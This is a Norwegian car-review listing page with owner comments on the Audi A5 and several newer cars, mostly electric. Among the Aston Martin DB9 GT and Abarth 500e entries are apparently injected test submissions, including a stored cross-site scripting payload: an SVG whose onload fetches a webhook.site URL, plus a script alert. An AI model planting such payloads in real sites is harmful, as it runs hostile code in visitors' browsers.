Audi A5 (2016)
Bilen er en drøm å kjøre , har det utstyret jeg vil ha , og jeg synes det er noe av det fineste Audi noen gang har laget . Rød med sort optikk og mørke ruter ble akkurat som jeg trodde det skull
Audi A5 (2015)
Audi A5 er en helt utrolig ålreit bil med en ganske hissig liten 1.8TFSI som kan flippe turtallsnåla helt opp til 6250omdr pr min og 0-100km/t går unna på 8,2sek (føles en den kjappere! En her
Audi A5 (2014)
En helt fantastisk flott bil. Bilen har holdt seg veldig bra, og den er fortsatt en av de vakreste bilene i sin klasse. Får fortsatt kommentarer i dag på hvor flott bilen er. Min har såvidt kjørt
Audi A5 (2013)
Skinnet bedrar! Skal ikke ha A5 igjen! Kommer ikke til å anbefale denne bilen. Bare problemer. Girkasse og motor kommuniserer ikke. Reparasjoner på motor, kassen må skiftes. ‘Kvele’ en automat
Audi A5 (2013)
Jeg er rett og slett forelsket. Men med fare for å ha det for bra med bilen, er jeg redd for at det ligger noe å lusker. Men jeg kan ikke annet enn å skryte så langt. Jeg mener, utseende av denne
Audi A5 (2013)
Kjempe fornøyd med bilen. Etter min mening en av de fineste bilene man kan få tak i. Har ikke hatt noen problemer med den så lenge jeg har hatt den.
Audi A5 (2012)
Fantastisk kjøreglede, drivstoffgjerrig og en bil som holder seg godt på veien.
Audi A5 (2012)
Fin bil som tar seg godt ut og er og ser sporty ut.
Audi A5 (2011)
jeg har kjøp bil ny og inntil nå kjørt på 280000 km. Forhjulslager må skiftes etter cc 130000km og støtdempere 260000km, front bremser 140000km bak 200000+... olje forbruk 1l på 30 000km fra
Audi A5 (2011)
Beste bilen jeg noen gang har eigd!
Audi A5 (2011)
Har hatt sportback versjonen i snart et år og har til nå kun fine ting å si om bilen. Veldig god bil med mye plass, selv med barn, og samtidig er veldig flott å se på. Denne kombinasjonen er ikke
Audi A5 (2011)
i mine øyne er det en av de flotteste bilene man får tak i så sporty mens den er så lukseriøs på samme tid, det er noe alle burde oppleve. skal ikke legge skjul på at det frister veldig med en
Audi A5 (2011)
Ekstremt bra bil iforhold til pris. Fin er den også! Chippet fra 180 til 245hk som gjør dealen enda bedre!
Audi A5 (2010)
Veldig fornøyd. En rask, sprek og morsom bil å kjøre.
Audi A5 (2010)
Jeg er så heldig å ha en 2010 som har gått under 50000 km. Tight kjøre, trygt kjøre - solid inntrykk av bilen. Tunet til 228 hk og 490 Nm.
Audi A5 (2010)
Kjøpte min 2010 Sportsback A5 Quattro diesel ny og har ikke lyst til å kvitte meg med den. Elsker bilen. Akkurat passert 240.000 km. Alle servicer fulgt - kun byttet hjullager og bremseskiver foran,
Audi A5 (2010)
En utmerket, komfortabel og samtidig en sportslig bil som gir oppmerksomhet. Lavt forbruk og billig i drift.
Audi A5 (2010)
Hele motor problematikken har totalt ødelagt min tillit til Audi/Møller. Jeg har sverget til Audi i svært mange år, men nå er det over. Jeg oppfatter dette som svært useriøs oppførsel mot forb
Audi A5 (2010)
Angrer ikke på kjøp av denne bilen. Bare beholder den i lang tid ennå.
Audi A5 (2010)
Beste bilen jeg har hatt noen sinne:)
Audi A5 (2010)
Flott bil og god å kjøre, ingenting å utsette på. Det beste bruktbil kjøpet
Audi A5 (2010)
God bil som eg har vore nøgd med, sett bort frå motorsvakheten nevnt ovenfor.
Audi A5 (2010)
Har kun hatt bilen i et halvår - men elsker den!
Audi A5 (2010)
Dette er en bil som leverer på absolutt alle områder. Den er forholdsvis familievennlig og har god plass uansett hvor i bilen man befinner seg. Den er stillegående og kjøreopplevelsen er på mange
Audi A5 (2010)
Fantastisk bil for deg som ønsker en sportslig bil med en enormt god motor. Dette er en bil som føles som en sportsbil og som egner seg like godt på vinterføre med Audi Quattro 40/60 fordeling.
Audi A5 (2009)
Fantastisk bil og kjøre, men mye som ryker hele tiden.. typisk tyskerfeil som sensorer, aircondition anlegg, elektronisk, hjullager og nav, rust i nedre kant av forskjermene (konstruksjonfeil) fra A
Audi A5 (2009)
Digger denne bilen. Hatt den i 3 år å ikke angret et sekund
Audi A5 (2009)
Kjøpte bilen hos Gumpens Auto Øst i April 2012 med km.stand 56300 og pr dato 03.01.17 er bilen gått 80950 og bortsett fra årlige servicer er det eneste jeg har måttet utbedre et defekt hjullager
Audi A5 (2008)
God bil å kjøre men dyr å ha på verksted
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km